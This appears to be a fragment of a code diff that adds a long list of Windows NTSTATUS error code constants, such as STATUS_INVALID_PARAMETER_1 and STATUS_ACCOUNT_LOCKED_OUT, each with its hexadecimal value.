+STATUS_GENERIC_NOT_MAPPED                                         = 0xC00000E6
+STATUS_BAD_DESCRIPTOR_FORMAT                                      = 0xC00000E7
+STATUS_INVALID_USER_BUFFER                                        = 0xC00000E8
+STATUS_UNEXPECTED_IO_ERROR                                        = 0xC00000E9
+STATUS_UNEXPECTED_MM_CREATE_ERR                                   = 0xC00000EA
+STATUS_UNEXPECTED_MM_MAP_ERROR                                    = 0xC00000EB
+STATUS_UNEXPECTED_MM_EXTEND_ERR                                   = 0xC00000EC
+STATUS_NOT_LOGON_PROCESS                                          = 0xC00000ED
+STATUS_LOGON_SESSION_EXISTS                                       = 0xC00000EE
+STATUS_INVALID_PARAMETER_1                                        = 0xC00000EF
+STATUS_INVALID_PARAMETER_2                                        = 0xC00000F0
+STATUS_INVALID_PARAMETER_3                                        = 0xC00000F1
+STATUS_INVALID_PARAMETER_4                                        = 0xC00000F2
+STATUS_INVALID_PARAMETER_5                                        = 0xC00000F3
+STATUS_INVALID_PARAMETER_6                                        = 0xC00000F4
+STATUS_INVALID_PARAMETER_7                                        = 0xC00000F5
+STATUS_INVALID_PARAMETER_8                                        = 0xC00000F6
+STATUS_INVALID_PARAMETER_9                                        = 0xC00000F7
+STATUS_INVALID_PARAMETER_10                                       = 0xC00000F8
+STATUS_INVALID_PARAMETER_11                                       = 0xC00000F9
+STATUS_INVALID_PARAMETER_12                                       = 0xC00000FA
+STATUS_REDIRECTOR_NOT_STARTED                                     = 0xC00000FB
+STATUS_REDIRECTOR_STARTED                                         = 0xC00000FC
+STATUS_STACK_OVERFLOW                                             = 0xC00000FD
+STATUS_NO_SUCH_PACKAGE                                            = 0xC00000FE
+STATUS_BAD_FUNCTION_TABLE                                         = 0xC00000FF
+STATUS_VARIABLE_NOT_FOUND                                         = 0xC0000100
+STATUS_DIRECTORY_NOT_EMPTY                                        = 0xC0000101
+STATUS_FILE_CORRUPT_ERROR                                         = 0xC0000102
+STATUS_NOT_A_DIRECTORY                                            = 0xC0000103
+STATUS_BAD_LOGON_SESSION_STATE                                    = 0xC0000104
+STATUS_LOGON_SESSION_COLLISION                                    = 0xC0000105
+STATUS_NAME_TOO_LONG                                              = 0xC0000106
+STATUS_FILES_OPEN                                                 = 0xC0000107
+STATUS_CONNECTION_IN_USE                                          = 0xC0000108
+STATUS_MESSAGE_NOT_FOUND                                          = 0xC0000109
+STATUS_PROCESS_IS_TERMINATING                                     = 0xC000010A
+STATUS_INVALID_LOGON_TYPE                                         = 0xC000010B
+STATUS_NO_GUID_TRANSLATION                                        = 0xC000010C
+STATUS_CANNOT_IMPERSONATE                                         = 0xC000010D
+STATUS_IMAGE_ALREADY_LOADED                                       = 0xC000010E
+STATUS_NO_LDT                                                     = 0xC0000117
+STATUS_INVALID_LDT_SIZE                                           = 0xC0000118
+STATUS_INVALID_LDT_OFFSET                                         = 0xC0000119
+STATUS_INVALID_LDT_DESCRIPTOR                                     = 0xC000011A
+STATUS_INVALID_IMAGE_NE_FORMAT                                    = 0xC000011B
+STATUS_RXACT_INVALID_STATE                                        = 0xC000011C
+STATUS_RXACT_COMMIT_FAILURE                                       = 0xC000011D
+STATUS_MAPPED_FILE_SIZE_ZERO                                      = 0xC000011E
+STATUS_TOO_MANY_OPENED_FILES                                      = 0xC000011F
+STATUS_CANCELLED                                                  = 0xC0000120
+STATUS_CANNOT_DELETE                                              = 0xC0000121
+STATUS_INVALID_COMPUTER_NAME                                      = 0xC0000122
+STATUS_FILE_DELETED                                               = 0xC0000123
+STATUS_SPECIAL_ACCOUNT                                            = 0xC0000124
+STATUS_SPECIAL_GROUP                                              = 0xC0000125
+STATUS_SPECIAL_USER                                               = 0xC0000126
+STATUS_MEMBERS_PRIMARY_GROUP                                      = 0xC0000127
+STATUS_FILE_CLOSED                                                = 0xC0000128
+STATUS_TOO_MANY_THREADS                                           = 0xC0000129
+STATUS_THREAD_NOT_IN_PROCESS                                      = 0xC000012A
+STATUS_TOKEN_ALREADY_IN_USE                                       = 0xC000012B
+STATUS_PAGEFILE_QUOTA_EXCEEDED                                    = 0xC000012C
+STATUS_COMMITMENT_LIMIT                                           = 0xC000012D
+STATUS_INVALID_IMAGE_LE_FORMAT                                    = 0xC000012E
+STATUS_INVALID_IMAGE_NOT_MZ                                       = 0xC000012F
+STATUS_INVALID_IMAGE_PROTECT                                      = 0xC0000130
+STATUS_INVALID_IMAGE_WIN_16                                       = 0xC0000131
+STATUS_LOGON_SERVER_CONFLICT                                      = 0xC0000132
+STATUS_TIME_DIFFERENCE_AT_DC                                      = 0xC0000133
+STATUS_SYNCHRONIZATION_REQUIRED                                   = 0xC0000134
+STATUS_DLL_NOT_FOUND                                              = 0xC0000135
+STATUS_OPEN_FAILED                                                = 0xC0000136
+STATUS_IO_PRIVILEGE_FAILED                                        = 0xC0000137
+STATUS_ORDINAL_NOT_FOUND                                          = 0xC0000138
+STATUS_ENTRYPOINT_NOT_FOUND                                       = 0xC0000139
+STATUS_CONTROL_C_EXIT                                             = 0xC000013A
+STATUS_LOCAL_DISCONNECT                                           = 0xC000013B
+STATUS_REMOTE_DISCONNECT                                          = 0xC000013C
+STATUS_REMOTE_RESOURCES                                           = 0xC000013D
+STATUS_LINK_FAILED                                                = 0xC000013E
+STATUS_LINK_TIMEOUT                                               = 0xC000013F
+STATUS_INVALID_CONNECTION                                         = 0xC0000140
+STATUS_INVALID_ADDRESS                                            = 0xC0000141
+STATUS_DLL_INIT_FAILED                                            = 0xC0000142
+STATUS_MISSING_SYSTEMFILE                                         = 0xC0000143
+STATUS_UNHANDLED_EXCEPTION                                        = 0xC0000144
+STATUS_APP_INIT_FAILURE                                           = 0xC0000145
+STATUS_PAGEFILE_CREATE_FAILED                                     = 0xC0000146
+STATUS_NO_PAGEFILE                                                = 0xC0000147
+STATUS_INVALID_LEVEL                                              = 0xC0000148
+STATUS_WRONG_PASSWORD_CORE                                        = 0xC0000149
+STATUS_ILLEGAL_FLOAT_CONTEXT                                      = 0xC000014A
+STATUS_PIPE_BROKEN                                                = 0xC000014B
+STATUS_REGISTRY_CORRUPT                                           = 0xC000014C
+STATUS_REGISTRY_IO_FAILED                                         = 0xC000014D
+STATUS_NO_EVENT_PAIR                                              = 0xC000014E
+STATUS_UNRECOGNIZED_VOLUME                                        = 0xC000014F
+STATUS_SERIAL_NO_DEVICE_INITED                                    = 0xC0000150
+STATUS_NO_SUCH_ALIAS                                              = 0xC0000151
+STATUS_MEMBER_NOT_IN_ALIAS                                        = 0xC0000152
+STATUS_MEMBER_IN_ALIAS                                            = 0xC0000153
+STATUS_ALIAS_EXISTS                                               = 0xC0000154
+STATUS_LOGON_NOT_GRANTED                                          = 0xC0000155
+STATUS_TOO_MANY_SECRETS                                           = 0xC0000156
+STATUS_SECRET_TOO_LONG                                            = 0xC0000157
+STATUS_INTERNAL_DB_ERROR                                          = 0xC0000158
+STATUS_FULLSCREEN_MODE                                            = 0xC0000159
+STATUS_TOO_MANY_CONTEXT_IDS                                       = 0xC000015A
+STATUS_LOGON_TYPE_NOT_GRANTED                                     = 0xC000015B
+STATUS_NOT_REGISTRY_FILE                                          = 0xC000015C
+STATUS_NT_CROSS_ENCRYPTION_REQUIRED                               = 0xC000015D
+STATUS_DOMAIN_CTRLR_CONFIG_ERROR                                  = 0xC000015E
+STATUS_FT_MISSING_MEMBER                                          = 0xC000015F
+STATUS_ILL_FORMED_SERVICE_ENTRY                                   = 0xC0000160
+STATUS_ILLEGAL_CHARACTER                                          = 0xC0000161
+STATUS_UNMAPPABLE_CHARACTER                                       = 0xC0000162
+STATUS_UNDEFINED_CHARACTER                                        = 0xC0000163
+STATUS_FLOPPY_VOLUME                                              = 0xC0000164
+STATUS_FLOPPY_ID_MARK_NOT_FOUND                                   = 0xC0000165
+STATUS_FLOPPY_WRONG_CYLINDER                                      = 0xC0000166
+STATUS_FLOPPY_UNKNOWN_ERROR                                       = 0xC0000167
+STATUS_FLOPPY_BAD_REGISTERS                                       = 0xC0000168
+STATUS_DISK_RECALIBRATE_FAILED                                    = 0xC0000169
+STATUS_DISK_OPERATION_FAILED                                      = 0xC000016A
+STATUS_DISK_RESET_FAILED                                          = 0xC000016B
+STATUS_SHARED_IRQ_BUSY                                            = 0xC000016C
+STATUS_FT_ORPHANING                                               = 0xC000016D
+STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT                           = 0xC000016E
+STATUS_PARTITION_FAILURE                                          = 0xC0000172
+STATUS_INVALID_BLOCK_LENGTH                                       = 0xC0000173
+STATUS_DEVICE_NOT_PARTITIONED                                     = 0xC0000174
+STATUS_UNABLE_TO_LOCK_MEDIA                                       = 0xC0000175
+STATUS_UNABLE_TO_UNLOAD_MEDIA                                     = 0xC0000176
+STATUS_EOM_OVERFLOW                                               = 0xC0000177
+STATUS_NO_MEDIA                                                   = 0xC0000178
+STATUS_NO_SUCH_MEMBER                                             = 0xC000017A
+STATUS_INVALID_MEMBER                                             = 0xC000017B
+STATUS_KEY_DELETED                                                = 0xC000017C
+STATUS_NO_LOG_SPACE                                               = 0xC000017D
+STATUS_TOO_MANY_SIDS                                              = 0xC000017E
+STATUS_LM_CROSS_ENCRYPTION_REQUIRED                               = 0xC000017F
+STATUS_KEY_HAS_CHILDREN                                           = 0xC0000180
+STATUS_CHILD_MUST_BE_VOLATILE                                     = 0xC0000181
+STATUS_DEVICE_CONFIGURATION_ERROR                                 = 0xC0000182
+STATUS_DRIVER_INTERNAL_ERROR                                      = 0xC0000183
+STATUS_INVALID_DEVICE_STATE                                       = 0xC0000184
+STATUS_IO_DEVICE_ERROR                                            = 0xC0000185
+STATUS_DEVICE_PROTOCOL_ERROR                                      = 0xC0000186
+STATUS_BACKUP_CONTROLLER                                          = 0xC0000187
+STATUS_LOG_FILE_FULL                                              = 0xC0000188
+STATUS_TOO_LATE                                                   = 0xC0000189
+STATUS_NO_TRUST_LSA_SECRET                                        = 0xC000018A
+STATUS_NO_TRUST_SAM_ACCOUNT                                       = 0xC000018B
+STATUS_TRUSTED_DOMAIN_FAILURE                                     = 0xC000018C
+STATUS_TRUSTED_RELATIONSHIP_FAILURE                               = 0xC000018D
+STATUS_EVENTLOG_FILE_CORRUPT                                      = 0xC000018E
+STATUS_EVENTLOG_CANT_START                                        = 0xC000018F
+STATUS_TRUST_FAILURE                                              = 0xC0000190
+STATUS_MUTANT_LIMIT_EXCEEDED                                      = 0xC0000191
+STATUS_NETLOGON_NOT_STARTED                                       = 0xC0000192
+STATUS_ACCOUNT_EXPIRED                                            = 0xC0000193
+STATUS_POSSIBLE_DEADLOCK                                          = 0xC0000194
+STATUS_NETWORK_CREDENTIAL_CONFLICT                                = 0xC0000195
+STATUS_REMOTE_SESSION_LIMIT                                       = 0xC0000196
+STATUS_EVENTLOG_FILE_CHANGED                                      = 0xC0000197
+STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT                          = 0xC0000198
+STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT                          = 0xC0000199
+STATUS_NOLOGON_SERVER_TRUST_ACCOUNT                               = 0xC000019A
+STATUS_DOMAIN_TRUST_INCONSISTENT                                  = 0xC000019B
+STATUS_FS_DRIVER_REQUIRED                                         = 0xC000019C
+STATUS_IMAGE_ALREADY_LOADED_AS_DLL                                = 0xC000019D
+STATUS_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING       = 0xC000019E
+STATUS_SHORT_NAMES_NOT_ENABLED_ON_VOLUME                          = 0xC000019F
+STATUS_SECURITY_STREAM_IS_INCONSISTENT                            = 0xC00001A0
+STATUS_INVALID_LOCK_RANGE                                         = 0xC00001A1
+STATUS_INVALID_ACE_CONDITION                                      = 0xC00001A2
+STATUS_IMAGE_SUBSYSTEM_NOT_PRESENT                                = 0xC00001A3
+STATUS_NOTIFICATION_GUID_ALREADY_DEFINED                          = 0xC00001A4
+STATUS_NETWORK_OPEN_RESTRICTION                                   = 0xC0000201
+STATUS_NO_USER_SESSION_KEY                                        = 0xC0000202
+STATUS_USER_SESSION_DELETED                                       = 0xC0000203
+STATUS_RESOURCE_LANG_NOT_FOUND                                    = 0xC0000204
+STATUS_INSUFF_SERVER_RESOURCES                                    = 0xC0000205
+STATUS_INVALID_BUFFER_SIZE                                        = 0xC0000206
+STATUS_INVALID_ADDRESS_COMPONENT                                  = 0xC0000207
+STATUS_INVALID_ADDRESS_WILDCARD                                   = 0xC0000208
+STATUS_TOO_MANY_ADDRESSES                                         = 0xC0000209
+STATUS_ADDRESS_ALREADY_EXISTS                                     = 0xC000020A
+STATUS_ADDRESS_CLOSED                                             = 0xC000020B
+STATUS_CONNECTION_DISCONNECTED                                    = 0xC000020C
+STATUS_CONNECTION_RESET                                           = 0xC000020D
+STATUS_TOO_MANY_NODES                                             = 0xC000020E
+STATUS_TRANSACTION_ABORTED                                        = 0xC000020F
+STATUS_TRANSACTION_TIMED_OUT                                      = 0xC0000210
+STATUS_TRANSACTION_NO_RELEASE                                     = 0xC0000211
+STATUS_TRANSACTION_NO_MATCH                                       = 0xC0000212
+STATUS_TRANSACTION_RESPONDED                                      = 0xC0000213
+STATUS_TRANSACTION_INVALID_ID                                     = 0xC0000214
+STATUS_TRANSACTION_INVALID_TYPE                                   = 0xC0000215
+STATUS_NOT_SERVER_SESSION                                         = 0xC0000216
+STATUS_NOT_CLIENT_SESSION                                         = 0xC0000217
+STATUS_CANNOT_LOAD_REGISTRY_FILE                                  = 0xC0000218
+STATUS_DEBUG_ATTACH_FAILED                                        = 0xC0000219
+STATUS_SYSTEM_PROCESS_TERMINATED                                  = 0xC000021A
+STATUS_DATA_NOT_ACCEPTED                                          = 0xC000021B
+STATUS_NO_BROWSER_SERVERS_FOUND                                   = 0xC000021C
+STATUS_VDM_HARD_ERROR                                             = 0xC000021D
+STATUS_DRIVER_CANCEL_TIMEOUT                                      = 0xC000021E
+STATUS_REPLY_MESSAGE_MISMATCH                                     = 0xC000021F
+STATUS_MAPPED_ALIGNMENT                                           = 0xC0000220
+STATUS_IMAGE_CHECKSUM_MISMATCH                                    = 0xC0000221
+STATUS_LOST_WRITEBEHIND_DATA                                      = 0xC0000222
+STATUS_CLIENT_SERVER_PARAMETERS_INVALID                           = 0xC0000223
+STATUS_PASSWORD_MUST_CHANGE                                       = 0xC0000224
+STATUS_NOT_FOUND                                                  = 0xC0000225
+STATUS_NOT_TINY_STREAM                                            = 0xC0000226
+STATUS_RECOVERY_FAILURE                                           = 0xC0000227
+STATUS_STACK_OVERFLOW_READ                                        = 0xC0000228
+STATUS_FAIL_CHECK                                                 = 0xC0000229
+STATUS_DUPLICATE_OBJECTID                                         = 0xC000022A
+STATUS_OBJECTID_EXISTS                                            = 0xC000022B
+STATUS_CONVERT_TO_LARGE                                           = 0xC000022C
+STATUS_RETRY                                                      = 0xC000022D
+STATUS_FOUND_OUT_OF_SCOPE                                         = 0xC000022E
+STATUS_ALLOCATE_BUCKET                                            = 0xC000022F
+STATUS_PROPSET_NOT_FOUND                                          = 0xC0000230
+STATUS_MARSHALL_OVERFLOW                                          = 0xC0000231
+STATUS_INVALID_VARIANT                                            = 0xC0000232
+STATUS_DOMAIN_CONTROLLER_NOT_FOUND                                = 0xC0000233
+STATUS_ACCOUNT_LOCKED_OUT                                         = 0xC0000234
+STATUS_HANDLE_NOT_CLOSABLE                                        = 0xC0000235
+STATUS_CONNECTION_REFUSED                                         = 0xC0000236
+STATUS_GRACEFUL_DISCONNECT                                        = 0xC0000237
+STATUS_ADDRESS_ALREADY_ASSOCIATED                                 = 0xC0000238
+STATUS_ADDRESS_NOT_ASSOCIATED                                     = 0xC0000239
+STATUS_CONNECTION_INVALID                                         = 0xC000023A
+STATUS_CONNECTION_ACTIVE                                          = 0xC000023B
+STATUS_NETWORK_UNREACHABLE                                        = 0xC000023C
+STATUS_HOST_UNREACHABLE                                           = 0xC000023D
+STATUS_PROTOCOL_UNREACHABLE                                       = 0xC000023E
+STATUS_PORT_UNREACHABLE                                           = 0xC000023F
+STATUS_REQUEST_ABORTED                                            = 0xC0000240
+STATUS_CONNECTION_ABORTED                                         = 0xC0000241
+STATUS_BAD_COMPRESSION_BUFFER                                     = 0xC0000242
+STATUS_USER_MAPPED_FILE                                           = 0xC0000243
+STATUS_AUDIT_FAILED                                               = 0xC0000244
+STATUS_TIMER_RESOLUTION_NOT_SET                                   = 0xC0000245
+STATUS_CONNECTION_COUNT_LIMIT                                     = 0xC0000246
+STATUS_LOGIN_TIME_RESTRICTION                                     = 0xC0000247
+STATUS_LOGIN_WKSTA_RESTRICTION                                    = 0xC0000248
+STATUS_IMAGE_MP_UP_MISMATCH                                       = 0xC0000249
+STATUS_INSUFFICIENT_LOGON_INFO                                    = 0xC0000250
+STATUS_BAD_DLL_ENTRYPOINT                                         = 0xC0000251
+STATUS_BAD_SERVICE_ENTRYPOINT                                     = 0xC0000252
+STATUS_LPC_REPLY_LOST                                             = 0xC0000253
+STATUS_IP_ADDRESS_CONFLICT1                                       = 0xC0000254
+STATUS_IP_ADDRESS_CONFLICT2                                       = 0xC0000255
+STATUS_REGISTRY_QUOTA_LIMIT                                       = 0xC0000256
+STATUS_PATH_NOT_COVERED                                           = 0xC0000257
+STATUS_NO_CALLBACK_ACTIVE                                         = 0xC0000258
+STATUS_LICENSE_QUOTA_EXCEEDED                                     = 0xC0000259
+STATUS_PWD_TOO_SHORT                                              = 0xC000025A
+STATUS_PWD_TOO_RECENT                                             = 0xC000025B
+STATUS_PWD_HISTORY_CONFLICT                                       = 0xC000025C
+STATUS_PLUGPLAY_NO_DEVICE                                         = 0xC000025E
+STATUS_UNSUPPORTED_COMPRESSION                                    = 0xC000025F
+STATUS_INVALID_HW_PROFILE                                         = 0xC0000260
+STATUS_INVALID_PLUGPLAY_DEVICE_PATH                               = 0xC0000261
+STATUS_DRIVER_ORDINAL_NOT_FOUND                                   = 0xC0000262
+STATUS_DRIVER_ENTRYPOINT_NOT_FOUND                                = 0xC0000263
+STATUS_RESOURCE_NOT_OWNED                                         = 0xC0000264
+STATUS_TOO_MANY_LINKS                                             = 0xC0000265
+STATUS_QUOTA_LIST_INCONSISTENT                                    = 0xC0000266
+STATUS_FILE_IS_OFFLINE                                            = 0xC0000267
+STATUS_EVALUATION_EXPIRATION                                      = 0xC0000268
+STATUS_ILLEGAL_DLL_RELOCATION                                     = 0xC0000269
+STATUS_LICENSE_VIOLATION                                          = 0xC000026A
+STATUS_DLL_INIT_FAILED_LOGOFF                                     = 0xC000026B
+STATUS_DRIVER_UNABLE_TO_LOAD                                      = 0xC000026C
+STATUS_DFS_UNAVAILABLE                                            = 0xC000026D
+STATUS_VOLUME_DISMOUNTED                                          = 0xC000026E
+STATUS_WX86_INTERNAL_ERROR                                        = 0xC000026F
+STATUS_WX86_FLOAT_STACK_CHECK                                     = 0xC0000270
+STATUS_VALIDATE_CONTINUE                                          = 0xC0000271
+STATUS_NO_MATCH                                                   = 0xC0000272
+STATUS_NO_MORE_MATCHES                                            = 0xC0000273
+STATUS_NOT_A_REPARSE_POINT                                        = 0xC0000275
+STATUS_IO_REPARSE_TAG_INVALID                                     = 0xC0000276
+STATUS_IO_REPARSE_TAG_MISMATCH                                    = 0xC0000277
+STATUS_IO_REPARSE_DATA_INVALID                                    = 0xC0000278
+STATUS_IO_REPARSE_TAG_NOT_HANDLED                                 = 0xC0000279
+STATUS_REPARSE_POINT_NOT_RESOLVED                                 = 0xC0000280
+STATUS_DIRECTORY_IS_A_REPARSE_POINT                               = 0xC0000281
+STATUS_RANGE_LIST_CONFLICT                                        = 0xC0000282
+STATUS_SOURCE_ELEMENT_EMPTY                                       = 0xC0000283
+STATUS_DESTINATION_ELEMENT_FULL                                   = 0xC0000284
+STATUS_ILLEGAL_ELEMENT_ADDRESS                                    = 0xC0000285
+STATUS_MAGAZINE_NOT_PRESENT                                       = 0xC0000286
+STATUS_REINITIALIZATION_NEEDED                                    = 0xC0000287
+STATUS_ENCRYPTION_FAILED                                          = 0xC000028A
+STATUS_DECRYPTION_FAILED                                          = 0xC000028B
+STATUS_RANGE_NOT_FOUND                                            = 0xC000028C
+STATUS_NO_RECOVERY_POLICY                                         = 0xC000028D
+STATUS_NO_EFS                                                     = 0xC000028E
+STATUS_WRONG_EFS                                                  = 0xC000028F
+STATUS_NO_USER_KEYS                                               = 0xC0000290
+STATUS_FILE_NOT_ENCRYPTED                                         = 0xC0000291
+STATUS_NOT_EXPORT_FORMAT                                          = 0xC0000292
+STATUS_FILE_ENCRYPTED                                             = 0xC0000293
+STATUS_WMI_GUID_NOT_FOUND                                         = 0xC0000295
+STATUS_WMI_INSTANCE_NOT_FOUND                                     = 0xC0000296
+STATUS_WMI_ITEMID_NOT_FOUND                                       = 0xC0000297
+STATUS_WMI_TRY_AGAIN                                              = 0xC0000298
+STATUS_SHARED_POLICY                                              = 0xC0000299
+STATUS_POLICY_OBJECT_NOT_FOUND                                    = 0xC000029A
+STATUS_POLICY_ONLY_IN_DS                                          = 0xC000029B
+STATUS_VOLUME_NOT_UPGRADED                                        = 0xC000029C
+STATUS_REMOTE_STORAGE_NOT_ACTIVE                                  = 0xC000029D
+STATUS_REMOTE_STORAGE_MEDIA_ERROR                                 = 0xC000029E
+STATUS_NO_TRACKING_SERVICE                                        = 0xC000029F
+STATUS_SERVER_SID_MISMATCH                                        = 0xC00002A0
+STATUS_DS_NO_ATTRIBUTE_OR_VALUE                                   = 0xC00002A1
+STATUS_DS_INVALID_ATTRIBUTE_SYNTAX                                = 0xC00002A2
+STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED                                = 0xC00002A3
+STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS                               = 0xC00002A4
+STATUS_DS_BUSY                                                    = 0xC00002A5
+STATUS_DS_UNAVAILABLE                                             = 0xC00002A6
+STATUS_DS_NO_RIDS_ALLOCATED                                       = 0xC00002A7
+STATUS_DS_NO_MORE_RIDS                                            = 0xC00002A8
+STATUS_DS_INCORRECT_ROLE_OWNER                                    = 0xC00002A9
+STATUS_DS_RIDMGR_INIT_ERROR                                       = 0xC00002AA
+STATUS_DS_OBJ_CLASS_VIOLATION                                     = 0xC00002AB
+STATUS_DS_CANT_ON_NON_LEAF                                        = 0xC00002AC
+STATUS_DS_CANT_ON_RDN                                             = 0xC00002AD
+STATUS_DS_CANT_MOD_OBJ_CLASS                                      = 0xC00002AE
+STATUS_DS_CROSS_DOM_MOVE_FAILED                                   = 0xC00002AF
+STATUS_DS_GC_NOT_AVAILABLE                                        = 0xC00002B0
+STATUS_DIRECTORY_SERVICE_REQUIRED                                 = 0xC00002B1
+STATUS_REPARSE_ATTRIBUTE_CONFLICT                                 = 0xC00002B2
+STATUS_CANT_ENABLE_DENY_ONLY                                      = 0xC00002B3
+STATUS_FLOAT_MULTIPLE_FAULTS                                      = 0xC00002B4
+STATUS_FLOAT_MULTIPLE_TRAPS                                       = 0xC00002B5
+STATUS_DEVICE_REMOVED                                             = 0xC00002B6
+STATUS_JOURNAL_DELETE_IN_PROGRESS                                 = 0xC00002B7
+STATUS_JOURNAL_NOT_ACTIVE                                         = 0xC00002B8
+STATUS_NOINTERFACE                                                = 0xC00002B9
+STATUS_DS_ADMIN_LIMIT_EXCEEDED                                    = 0xC00002C1
+STATUS_DRIVER_FAILED_SLEEP                                        = 0xC00002C2
+STATUS_MUTUAL_AUTHENTICATION_FAILED                               = 0xC00002C3
+STATUS_CORRUPT_SYSTEM_FILE                                        = 0xC00002C4
+STATUS_DATATYPE_MISALIGNMENT_ERROR                                = 0xC00002C5
+STATUS_WMI_READ_ONLY                                              = 0xC00002C6
+STATUS_WMI_SET_FAILURE                                            = 0xC00002C7
+STATUS_COMMITMENT_MINIMUM                                         = 0xC00002C8
+STATUS_REG_NAT_CONSUMPTION                                        = 0xC00002C9
+STATUS_TRANSPORT_FULL                                             = 0xC00002CA
+STATUS_DS_SAM_INIT_FAILURE                                        = 0xC00002CB
+STATUS_ONLY_IF_CONNECTED                                          = 0xC00002CC
+STATUS_DS_SENSITIVE_GROUP_VIOLATION                               = 0xC00002CD
+STATUS_PNP_RESTART_ENUMERATION                                    = 0xC00002CE
+STATUS_JOURNAL_ENTRY_DELETED                                      = 0xC00002CF
+STATUS_DS_CANT_MOD_PRIMARYGROUPID                                 = 0xC00002D0
+STATUS_SYSTEM_IMAGE_BAD_SIGNATURE                                 = 0xC00002D1
+STATUS_PNP_REBOOT_REQUIRED                                        = 0xC00002D2
+STATUS_POWER_STATE_INVALID                                        = 0xC00002D3
+STATUS_DS_INVALID_GROUP_TYPE                                      = 0xC00002D4
+STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN                      = 0xC00002D5
+STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN                       = 0xC00002D6
+STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER                           = 0xC00002D7
+STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER                       = 0xC00002D8
+STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER                        = 0xC00002D9
+STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER                     = 0xC00002DA
+STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER                = 0xC00002DB
+STATUS_DS_HAVE_PRIMARY_MEMBERS                                    = 0xC00002DC
+STATUS_WMI_NOT_SUPPORTED                                          = 0xC00002DD
+STATUS_INSUFFICIENT_POWER                                         = 0xC00002DE
+STATUS_SAM_NEED_BOOTKEY_PASSWORD                                  = 0xC00002DF
+STATUS_SAM_NEED_BOOTKEY_FLOPPY                                    = 0xC00002E0
+STATUS_DS_CANT_START                                              = 0xC00002E1
+STATUS_DS_INIT_FAILURE                                            = 0xC00002E2
+STATUS_SAM_INIT_FAILURE                                           = 0xC00002E3
+STATUS_DS_GC_REQUIRED                                             = 0xC00002E4
+STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY                              = 0xC00002E5
+STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS                              = 0xC00002E6
+STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED                          = 0xC00002E7
+STATUS_CURRENT_DOMAIN_NOT_ALLOWED                                 = 0xC00002E9
+STATUS_CANNOT_MAKE                                                = 0xC00002EA
+STATUS_SYSTEM_SHUTDOWN                                            = 0xC00002EB
+STATUS_DS_INIT_FAILURE_CONSOLE                                    = 0xC00002EC
+STATUS_DS_SAM_INIT_FAILURE_CONSOLE                                = 0xC00002ED
+STATUS_UNFINISHED_CONTEXT_DELETED                                 = 0xC00002EE
+STATUS_NO_TGT_REPLY                                               = 0xC00002EF
+STATUS_OBJECTID_NOT_FOUND                                         = 0xC00002F0
+STATUS_NO_IP_ADDRESSES                                            = 0xC00002F1
+STATUS_WRONG_CREDENTIAL_HANDLE                                    = 0xC00002F2
+STATUS_CRYPTO_SYSTEM_INVALID                                      = 0xC00002F3
+STATUS_MAX_REFERRALS_EXCEEDED                                     = 0xC00002F4
+STATUS_MUST_BE_KDC                                                = 0xC00002F5
+STATUS_STRONG_CRYPTO_NOT_SUPPORTED                                = 0xC00002F6
+STATUS_TOO_MANY_PRINCIPALS                                        = 0xC00002F7
+STATUS_NO_PA_DATA                                                 = 0xC00002F8
+STATUS_PKINIT_NAME_MISMATCH                                       = 0xC00002F9
+STATUS_SMARTCARD_LOGON_REQUIRED                                   = 0xC00002FA
+STATUS_KDC_INVALID_REQUEST                                        = 0xC00002FB
+STATUS_KDC_UNABLE_TO_REFER                                        = 0xC00002FC
+STATUS_KDC_UNKNOWN_ETYPE                                          = 0xC00002FD
+STATUS_SHUTDOWN_IN_PROGRESS                                       = 0xC00002FE
+STATUS_SERVER_SHUTDOWN_IN_PROGRESS                                = 0xC00002FF
+STATUS_NOT_SUPPORTED_ON_SBS                                       = 0xC0000300
+STATUS_WMI_GUID_DISCONNECTED                                      = 0xC0000301
+STATUS_WMI_ALREADY_DISABLED                                       = 0xC0000302
+STATUS_WMI_ALREADY_ENABLED                                        = 0xC0000303
+STATUS_MFT_TOO_FRAGMENTED                                         = 0xC0000304
+STATUS_COPY_PROTECTION_FAILURE                                    = 0xC0000305
+STATUS_CSS_AUTHENTICATION_FAILURE                                 = 0xC0000306
+STATUS_CSS_KEY_NOT_PRESENT                                        = 0xC0000307
+STATUS_CSS_KEY_NOT_ESTABLISHED                                    = 0xC0000308
+STATUS_CSS_SCRAMBLED_SECTOR                                       = 0xC0000309
+STATUS_CSS_REGION_MISMATCH                                        = 0xC000030A
+STATUS_CSS_RESETS_EXHAUSTED                                       = 0xC000030B
+STATUS_PKINIT_FAILURE                                             = 0xC0000320
+STATUS_SMARTCARD_SUBSYSTEM_FAILURE                                = 0xC0000321
+STATUS_NO_KERB_KEY                                                = 0xC0000322
+STATUS_HOST_DOWN                                                  = 0xC0000350
+STATUS_UNSUPPORTED_PREAUTH                                        = 0xC0000351
+STATUS_EFS_ALG_BLOB_TOO_BIG                                       = 0xC0000352
+STATUS_PORT_NOT_SET                                               = 0xC0000353
+STATUS_DEBUGGER_INACTIVE                                          = 0xC0000354
+STATUS_DS_VERSION_CHECK_FAILURE                                   = 0xC0000355
+STATUS_AUDITING_DISABLED                                          = 0xC0000356
+STATUS_PRENT4_MACHINE_ACCOUNT                                     = 0xC0000357
+STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER                           = 0xC0000358
+STATUS_INVALID_IMAGE_WIN_32                                       = 0xC0000359
+STATUS_INVALID_IMAGE_WIN_64                                       = 0xC000035A
+STATUS_BAD_BINDINGS                                               = 0xC000035B
+STATUS_NETWORK_SESSION_EXPIRED                                    = 0xC000035C
+STATUS_APPHELP_BLOCK                                              = 0xC000035D
